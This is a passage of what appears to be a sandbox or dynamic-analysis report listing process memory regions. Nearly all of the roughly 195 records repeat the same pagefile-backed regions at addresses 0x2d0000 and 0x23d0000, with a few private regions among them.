end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2417 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2418 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2419 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2420 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2421 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2422 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2423 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2424 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2425 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2426 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2427 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2428 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2429 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2430 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2431 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2432 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2433 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2434 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2435 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2436 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2437 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2438 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2439 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2440 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2441 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2442 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2443 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2444 start_va = 0x2d0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2445 start_va = 0x2d0000 end_va = 0x2e1fff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2446 start_va = 0x2f0000 end_va = 0x2f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002f0000" filename = "" Region: id = 2447 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2448 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2449 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2450 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2451 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2452 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2453 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2454 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2455 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2456 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2457 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2458 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2459 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2460 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2461 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2462 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2463 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2464 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2465 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2466 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2467 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2468 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2469 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2470 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2471 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2472 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2473 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2474 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2475 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2476 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2477 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2478 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2479 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2480 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2481 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2482 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2483 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2484 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2485 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2486 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2487 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2488 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2489 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2490 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2491 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2492 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2493 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2494 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2495 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2496 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2497 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2498 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2499 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2500 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2501 start_va = 0x2d0000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2502 start_va = 0x440000 end_va = 0x53ffff entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2503 start_va = 0x23d0000 end_va = 0x23dffff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 2504 start_va = 0x7ffd8000 end_va = 0x7ffdafff entry_point = 0x0 region_type = private name = "private_0x000000007ffd8000" filename = "" Region: id = 2505 start_va = 0x23e0000 end_va = 0x23e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023e0000" filename = "" Region: id = 2506 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2507 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2508 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2509 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2510 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2511 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2512 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2513 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2514 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2515 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2516 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2517 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2518 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2519 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2520 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2521 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2522 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2523 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2524 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2525 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2526 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2527 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2528 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2529 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2530 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2531 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2532 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2533 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2534 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2535 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2536 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2537 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2538 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2539 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2540 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2541 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2542 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2543 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2544 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2545 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2546 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2547 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2548 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2549 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2550 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2551 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2552 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2553 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2554 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2555 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2556 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2557 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2558 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2559 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2560 start_va = 0x23d0000 end_va = 0x23dffff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 2561 start_va = 0x23e0000 end_va = 0x23e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023e0000" filename = "" Region: id = 2562 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2563 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2564 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2565 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2566 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2567 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2568 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2569 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2570 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2571 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2572 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2573 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2574 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2575 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2576 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2577 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2578 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2579 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2580 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2581 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2582 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2583 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2584 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2585 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2586 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2587 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2588 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2589 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2590 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2591 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2592 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2593 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2594 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2595 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2596 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2597 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2598 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2599 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2600 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2601 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2602 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2603 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2604 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2605 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2606 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2607 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2608 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2609 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2610 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2611 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" 